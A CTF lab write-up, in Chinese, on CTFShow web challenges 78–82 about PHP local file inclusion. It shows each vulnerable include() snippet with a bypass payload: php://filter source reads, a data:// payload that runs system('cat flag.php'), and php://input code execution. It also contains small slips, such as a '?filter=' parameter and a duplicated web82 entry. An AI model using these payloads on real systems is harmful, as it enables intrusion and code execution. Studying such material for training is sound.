zoukankan      html  css  js  c++  java
  • CTFShow-Web入门-文件包含 78-81

    web78

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    使用 include进行了文件包含 

    payload:?filter=php://filter/convert.base64-encode/resource=flag.php

    web79

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    替换了 php

    payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

    (PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=   为 <?php system('cat flag.php');

    web80

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    替换了 data

    payload:?file=Php://

    POST:<?php system('cat fl*');?

    这里用hackbar无法传入,可以用burpsuite

    web81

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    : 被替换

    这里利用了session上传绕过getshell的知识

    可以看这两篇文章

    LFI 绕过 Session 包含限制 Getshell:https://www.anquanke.com/post/id/201177

    利用session.upload_progress进行文件包含:https://blog.csdn.net/qq_44657899/article/details/109281343

    web82

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    可以使用 包含文件日志

     web82

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }
  • 相关阅读:
    Node.js核心模块-net
    ie8兼容rgba写法
    Node.js核心模块-http
    Node.js核心模块-fs文件系统
    js监听滚动结束
    mac本地安装全局包报错npm WARN checkPermissions
    安全测试回顾(一)
    python学习笔记(二):python数据类型
    python学习笔记(一):python简介和入门
    Centos下安装Redis
  • 原文地址:https://www.cnblogs.com/yanwusheng/p/13902116.html
Copyright © 2011-2022 走看看